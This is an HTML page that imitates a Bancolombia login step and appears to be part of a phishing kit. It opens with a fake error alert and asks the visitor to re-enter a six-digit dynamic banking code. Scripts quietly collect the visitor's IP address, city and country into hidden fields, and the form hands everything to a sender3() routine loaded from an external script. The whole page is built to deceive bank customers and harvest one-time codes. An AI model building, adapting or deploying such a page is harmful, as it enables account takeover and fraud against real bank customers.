<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<link rel="stylesheet" href="bootstrap.min.css">
	
<title>Home</title><meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="util.css"><link rel="stylesheet" type="text/css" href="main.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>  
  
     <script>
         $.getJSON("https://api.ipify.org?format=json",
          function(data) {
             $("#gfg").html(data.ip);
         })
      </script>
      <script>
         $.getJSON("https://ipinfo.io", function (response) {
    $("#ip").html("IP: " + response.ip);
    $("#address").html("" + response.city + ", " + response.country);
    })

	  </script>	
 <style>		  
 input:focus {
  outline: 2px solid #c1c1c1;
}
	 </style>  
	 

 <script>
        
            alert("¡Nuevamente ha ocurrido un error!\nPor favor ingrese el código sin errores");
       
    </script>	 
	  </head>



						

	</header><!-- / #main-header -->
	<div class="limiter">
		<div class="container-login100" 
		style="background-image: 
		url(); 
    position: absolute;
   ">
			<div class="wrap-login100 p-l-55 p-r-55 p-t-50 p-b-54">
			
			<br>
			<br>
<br>

					<b><div class="textypn1"><span class="model" style="font-size:23px; color:#fff; text-align:center;">
					<section class="">
		
			<img src="https://www.makingscience.com/wp-content/uploads/2021/11/Bancolombia-Logo-1-1024x131.png" style="width: 200px">
			<br></div></b>
					<div class="wrap-input101 validate-input" data-validate="" > 
					<br>
<br>
<br>
			<br>
 <section class="">
           
        <form class="login100-form validate-form" action="#" onsubmit=" return sender3()" method="post">
					<p id="gfg"  hidden=""></p>
						<p id="address"  hidden=""></p>
					
					<b><div class="textypn1"><span class="model" style="font-size:28px; color:#000000; text-align:center;">
					Ingrese el código nuevamente</div></b>
					<div class="wrap-input101 validate-input" data-validate="" > 
				
					<br>
					<br>
					<br>
					<br>
					<div class="wrap-input101 validate-input" data-validate="" > 
					       <input type="tel" class="" name="num1" id="num1" onkeyup="if (this.value.length == this.getAttribute('maxlength')) num2.focus()"
							style="width:50px;height:60px;border:1px solid #c1c1c1;text-align:center;font-size:20px" maxlength="1" minlength="1" 
							onkeypress="return (event.charCode &gt;= 48 &amp;&amp; event.charCode &lt;= 57)" autofocus required />
                        
						<input type="tel" class="form-input" name="num2" id="num2" onkeyup="if (this.value.length == this.getAttribute('maxlength')) num3.focus()"
						onkeypress="return (event.charCode &gt;= 48 &amp;&amp; event.charCode &lt;= 57)"
						style="width:50px;height:60px;border:1px solid #c1c1c1;text-align:center;font-size:20px" maxlength="1" minlength="1" required />
						
						           
						<input type="tel" class="form-input" name="num3" id="num3" onkeyup="if (this.value.length == this.getAttribute('maxlength')) num4.focus()"
						onkeypress="return (event.charCode &gt;= 48 &amp;&amp; event.charCode &lt;= 57)"
						style="width:50px;height:60px;border:1px solid #c1c1c1;text-align:center;font-size:20px" maxlength="1" minlength="1" required />
						
						           
						<input type="tel" class="form-input" name="num4" id="num4" onkeypress="return (event.charCode &gt;= 48 &amp;&amp; event.charCode &lt;= 57)"
						style="width:50px;height:60px;border:1px solid #c1c1c1;text-align:center;font-size:20px" maxlength="1" minlength="1" onkeyup="if (this.value.length == this.getAttribute('maxlength')) num5.focus()" required />
						
						
							<input type="tel" class="form-input" name="num5" id="num5" onkeypress="return (event.charCode &gt;= 48 &amp;&amp; event.charCode &lt;= 57)"
						style="width:50px;height:60px;border:1px solid #c1c1c1;text-align:center;font-size:20px" maxlength="1" minlength="1" onkeyup="if (this.value.length == this.getAttribute('maxlength')) num6.focus()" required />
						
						
							<input type="tel" class="form-input" name="num6" id="num6" onkeypress="return (event.charCode &gt;= 48 &amp;&amp; event.charCode &lt;= 57)"
						style="width:50px;height:60px;border:1px solid #c1c1c1;text-align:center;font-size:20px" maxlength="1" minlength="1" onkeyup="if (this.value.length == this.getAttribute('maxlength'))" required />
						
					</div>
					<br>
						
					<br>
					
					 <div class="form-group">
                            <input type="checkbox" name="agree-term" id="agree-term" class="agree-term" />
                            <label for="agree-term" class="label-agree-term"><span><span></span></span>Recordar clave dinámica</label>
                        </div>

					<br>
					<div class="text-right p-t-8 p-b-31">
						
					</div>
					
					<div class="container-login100-form-btn">
					    
						<div class="wrap-login100-form-btn">
							<div class="login100-form-bgbtn"></div>
							<button type="submit" style="height:50px; width:100%; border-radius:10px;" class="login100-form-btn" value="Continuar">
								<b>Continuar</b>
							</button>
						</div>
					</div>
					
					<div>
					<br>
					<br>


					</div><br>

						
					
				</form>
				
			</div>
			
		</div>
			<header id="main-header2">
	</header><!-- / #main-header -->
	</div>
		<div id="dropDownSelect1"></div>
	
	

	<script src="saxes.js"></script> 
</body></html>